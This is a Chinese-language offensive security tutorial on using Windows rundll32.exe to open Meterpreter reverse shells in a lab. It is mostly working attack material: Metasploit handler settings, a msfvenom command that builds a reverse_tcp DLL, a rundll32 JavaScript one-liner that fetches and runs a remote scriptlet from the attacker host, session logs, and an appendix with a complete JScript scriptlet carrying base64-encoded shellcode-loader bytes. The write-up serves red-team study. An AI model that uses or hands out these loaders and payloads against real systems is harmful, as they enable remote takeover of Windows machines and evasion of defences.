专注APT攻击与防御
https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防**肾结石**，**通风**等。

Rundll32简介：

Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。

说明：Rundll32.exe所在路径已被系统添加PATH环境变量中，因此，Wmic命令可识别，需注意x86，x64位的Rundll32调用。

Windows 2003 默认位置：

```
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
```

Windows 7 默认位置：

```
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
```

攻击机： 192.168.1.4 Debian
靶机： 192.168.1.119 Windows 2003
192.168.1.5 Windows 7

基于远程加载（1）：

配置攻击机msf：
注：x86 payload

```
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):
```

```
4
5   Name Current Setting Required Description
6   ---- --------------- -------- -----------
7
8
9  Payload options (windows/meterpreter/reverse_tcp):
10
11   Name Current Setting Required Description
12   ---- --------------- -------- -----------
13   EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce
ss, none)
14   LHOST 192.168.1.4 yes The listen address (an interface may be specifi
ed)
15   LPORT 53 yes The listen port
16
17
18  Exploit target:
19
20   Id Name
21   -- ----
22   0 Wildcard Target
23
24
25  msf exploit(multi/handler) > exploit
26
27  [*] Started reverse TCP handler on 192.168.1.4:53
28
```

```
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.4      yes       The listen address (an interface may be specified)
   LPORT     53               yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(multi/handler) >
```

靶机执行：

> C:\Windows\SysWOW64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://192.168.1.4/Rundll32_shellcode")

注：x64 rundll32.exe

```
C:\Users\John>C:\Windows\SysWOW64\rundll32.exe javascript:"\..\mshtml,RunHTMLApp
lication ";document.write();GetObject("script:http://192.168.1.4/Rundll32_shellc
ode")
```

```
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.5
[*] Meterpreter session 57 opened (192.168.1.4:53 ->
192.168.1.5:41274) at 2019-01-19 04:13:26 -0500

meterpreter > getuid
Server username: John-PC\John
meterpreter > getpid
 Current pid: 7064
 meterpreter >

```

```
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.5
[*] Meterpreter session 57 opened (192.168.1.4:53 -> 192.168.1.5:41274) at 2019-01-19 04:13:26 -0500

meterpreter > getuid
Server username: John-PC\John
meterpreter > getpid
Current pid: 7064
meterpreter >
```

基于本地加载（2）：

payload配置：

```
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 -f dll >Micropoor_Rundll32.dll
```

```
root@John:/var/www/html# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 -f dll >Micropoor_Rundll32.dll
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of dll file: 5120 bytes
```

靶机执行：

```
C:\Users\John>rundll32 shell32.dll,Control_RunDLL C:\Users\John\Desktop\Micropoo
r_Rundll32.dll
```

```
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.5
[*] Meterpreter session 63 opened (192.168.1.4:53 ->
192.168.1.5:43320) at 2019-01-19 04:34:59 -0500

meterpreter > getuid
Server username: John-PC\John
meterpreter > getpid
 Current pid: 6656

```

```
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.5
[*] Meterpreter session 63 opened (192.168.1.4:53 -> 192.168.1.5:43320) at 2019-01-19 04:34:59 -0500

meterpreter > getuid
Server username: John-PC\John
meterpreter > getpid
Current pid: 6656
meterpreter >
```

基于命令执行（3）：

靶机执行：

Windows 2003：

```
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"mstsc\");window.close()");
```

注：如靶机支持powershell，调用powershell更贴合实战。

附录：Rundll32_shellcode

```
<?xml version="1.0"?>

```

```
<package>
<component id="Micropoor">

<script language="JScript">
<![CDATA[
function setversion() {
}
 function debug(s) {}
 function base64ToStream(b) {
  var enc = new ActiveXObject("System.Text.ASCIIEncoding");
  var length = enc.GetByteCount_2(b);
  var ba = enc.GetBytes_4(b);
  var transform = new ActiveXObject("System.Security.Cryptography.FromB
ase64Transform");
  ba = transform.TransformFinalBlock(ba, 0, length);
  var ms = new ActiveXObject("System.IO.MemoryStream");
  ms.Write(ba, 0, (length / 4) * 3);
  ms.Position = 0;
  return ms;
 }

 var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdh
dGVTZXJpYWxpemF0aW9uSG9sZGVy"+
 "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2Vya
WFsaXph"+
 "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb
25Ib2xk"+
 "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJA
gAAAAkD"+
 "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0Rlb
GVnYXRl"+
 "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50Y
XJnZXRU"+
 "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ
2F0ZVNl"+
 "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lU
lJlbW90"+
 "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249M
i4wLjAu"+
 "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5E
gcAAAAH"+
 "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZ
QoEAwAA"+
```

"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+
"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+
"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+
"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+
"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+
"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+
"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+
"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+
"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+
"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+
"ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+
"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVC1CXAAAAAA"+
"AAAA4AACIQsBCwAADAAAAAYAAAAAAAAOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"+
"AAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAwCkA"+
"AEsAAAAAQAAA0AIAAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAAIIAAASAAAAAAAAAA"+
"AAAALnRleHQAAAAUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAA0AIAAABA"+
"AAAABAAAAA4AAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAAwAAAAAYAAAAAIAAAASAAAAAAAAAA"+
"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAPApAAAAAAAASAAAAAIABQBEIgAAfAcAAAMAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoBAAACgAA"+
"KAIAAAYAACoAAAAAAAAA/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH"+
"4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiL"+
"

```
"WCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMc
yYHiej/"+
"0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXa
JmldGH/"+
"1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1
ZNTagBW"+
"U1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+m
b////AcMp"+
"xnXBw7vwtaJWagBT/9UAAAATMAYAZQAAAAEAABEAIFUBAACNBgAAASXQAwAABCgGAAAKC
hYGjml+"+
"AQAABH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHE
QQWEgMo"+
"BAAABgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAc
jQuMC4z"+
"MDMxOQAAAAAFAGwAAABgAgAAI34AAMwCAABkAwAAI1N0cmluZ3MAAAAAMAYAAAgAAAAjV
VMAOAYA"+
"ABAAAAAjR1VJRAAAAEgGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWA
AABAAAA"+
"DwAAAAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAA
AEAAAAB"+
"AAAAAQAAAAAACgABAAAAAAAGAEsARAAGAFsBPwEGAHcBPwEGAKYBhgEGAMYBhgEGAPcBF
AAGAEEC"+
"hgEGAFwCRAAGAJgChgEGAKcCRAAGAK0CRAAGANACRAAGAAID4wIGABQD4wIGAEcDNwMAA
AAAAQAA"+
"AAAAAQABAAEAEAAhACkABQABAAEAAAAAAPwBAAAFAAMABwATAQAAZgIAACEABAAHABEAX
QASABEA"+
"aAASABMBhAI+AFAgAAAAAIYYUgAKAAEAwCEAAAAAkQBYAA4AAQAAAAAAgACRIH8AFQABA
AAAAACA"+
"AJEgjAAdAAUAAAAAAIAAkSCZACgACwAxIgAAAACRGDADDgANAAAAAQCtAAAAAgC5AAAAA
wC+AAAA"+
"BADPAAAAAQDZAAAAAgDsAAAAAwD4AAAABAAHAQAABQANAQAABgAdAQAAAQAoAQAAAgAwA
REAUgAu"+
"ACEAUgA0ACkAUgAKAAkAUgAKADkAUgAKAEkAwAJCAGEA1wJKAGkACgNPAGEADwNYAHEAU
gBkAHkA"+
"UgAKACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEAVQEAAAQAWwAnAwABBwB/A
AEAAAEJ"+
"AIwAAQAAAQsAmQABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAAOQBAAAEAAAAAAAAAAAA
AABADsA"+
"AAAAAAQAAwAAAAA8TW9kdWxlPgB3bWlfY3NfZGxsX3BheWxvYWQuZGxsAFByb2dyYW0AU
2hlbGxD"+
"b2RlTGF1bmNoZXIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdAAuY3RvcgBNYWluAE1FTV9DT
01NSVQA"+
"UEFHRV9FWEVDVVRFX1JFQURXUklURQBWaXJ0dWFsQWxsb2MAQ3JlYXRlVGhyZWFkAFdha
XRGb3JT"+
"aW5nbGVPYmplY3QAbHBTdGFydEFkZHIAc2l6ZQBmbEFsbG9jYXRpb25UeXBlAGZsUHJvc
GVjdABs"+
```

```
80  "cFRocmVhZEF0dHJpYnV0ZXMAZHdTdGFja1NpemUAbHBTdGFydEFkZHJlc3MAcGFyYW0AZ
HdDcmVh"+
81  "dGlvbkZsYWdzAGxwVGhyZWFkSWQAaEhhbmRsZQBkd01pbGxpc2Vjb25kcwBTeXN0ZW0uL
2VjdXJp"+
82  "dHkuUGVybWlzc2lvbnMAU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlAFNlY3VyaXR5Q
WN0aW9u"+
83  "AFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0a
W9uc0F0"+
84  "dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQB3bWlfY3NfZGxsX3Bhe
WxvYWQA"+
85  "Qnl0ZQA8UHJpdmF0ZUltcGxlbWVudGF0aW9uRGV0YWlscz57MEQxQTVERjAtRDZCNy00F
UUzLUJB"+
86  "QzItOTY0MUUyREJCMDNFfQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBWYWx1ZVR5c
GUAX19T"+
87  "dGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zNDEAJCRtZXRob2QweDYwMDAwMDItMQBSdW50a
W1lSGVs"+
88  "cGVycwBBcnJheQBSdW50aW1lRmllbGRIYW5kbGUASW5pdGlhbGl6ZUFycmF5AEludFB0c
gBvcF9F"+
89  "eHBsaWNpdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABDb3B5A
Fplcm8A"+
90  "RGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyAC5jY3RvcgBTeXN0ZW0uU2VjdXJpdHkAV
W52ZXJp"+
91  "ZmlhYmxlQ29kZUF0dHJpYnV0ZQAAAAAAAyAAAAAAAPBdGg231uNOusKWQeLbsD4ACLd6X
FYZNOCJ"+
92  "AyAAAQMAAAECBgkHAAQJCQkJCQoABhgJCQkYCRAJBQACCRgJBSABARENBCABAQgEAQAAA
AMGERAH"+
93  "AAIBEikRLQQAARgKCAAEAR0FCBgIAgYYCAcFHQUJGAkYBCABAQ4IAQAIAAAAAAAeAQABA
FQCFldy"+
94  "YXBOb25FeGNlcHRpb25UaHJvd3MBgJ4uAYCEU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb
25zLlNl"+
95  "Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuM
CwgQ3Vs"+
96  "dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5FQFUAhBTa
2lwVmVy"+
97  "aWZpY2F0aW9uAQAAAOgpAAAAAAAAAAAAP4pAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAA
ADwKQAA"+
98  "AAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAA
AAAAAAA"+
99  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA"+
100  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
101  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
102  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
```

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAA
AAAAAAAA"+
"AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB0AgAAAAAAAAAAAAB0
AjQAAABW"+
"AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAA
AAAAAAAA"+
"PwAAAAAAAAEAAAAgAAAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBu
AGYAbwAA"+
"AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAAAALAE1AEAAAEAUwB0AHIA
aQBuAGcA"+
"RgBpAGwAZQBJAG4AZgBvAAAAsAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBp
AGwAZQBE"+
"AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMA
aQBvAG4A"+
"AAAAADAALgAwAC4AMAAuADAAAABQABcAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAA
AHcAbQBp"+
"AF8AYwBzAF8AZABsAGwAXwBwAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAAACgAAgABAEwA
ZQBnAGEA"+
"bABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABYABcAAQBPAHIAaQBnAGkAbgBhAGwARgBp
AGwAZQBu"+
"AGEAbQBlAAAAdwBtAGkAXwBjAHMAXwBkAGwAbABfAHAAYQB5AGwAbwBhAGQALgBkAGwA
bAAAAAAA"+
"NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAA
ADgACAAB"+
"AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAA
AAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+

```
126 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
127 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
128 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
129 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
130 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
131 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
132 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
133 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA"+
134 "AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3Rl
bS5SZWZs"+
135 "ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA";
136 var entry_class = 'ShellCodeLauncher.Program';
137
138 try {
139  setversion();
140  var stm = base64ToStream(serialized_obj);
141  var fmt = new ActiveXObject('System.Runtime.Serialization.Formatter
s.Binary.BinaryFormatter');
142  var al = new ActiveXObject('System.Collections.ArrayList');
143  var d = fmt.Deserialize_2(stm);
144  al.Add(undefined);
145  var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
146
147 } catch (e) {
148  debug(e.message);
149 }
150
151 ]]>
152 </script>
153
154 </component>
155 </package>
156
```

- Micropoor